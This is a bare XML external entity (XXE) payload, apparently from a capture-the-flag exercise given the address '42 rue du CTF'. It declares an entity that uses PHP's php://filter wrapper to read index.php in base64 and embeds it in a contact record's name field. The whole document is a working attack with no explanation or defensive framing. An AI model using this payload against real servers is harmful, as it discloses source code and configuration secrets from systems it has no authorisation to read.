<!DOCTYPE replace [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=index.php"> ]> <contacts> <contact> <name>Jean &xxe; Dupont</name> <phone>00 11 22 33 44</phone> <adress>42 rue du CTF</adress> <zipcode>75000</zipcode> <city>Paris</city> </contact> </contacts>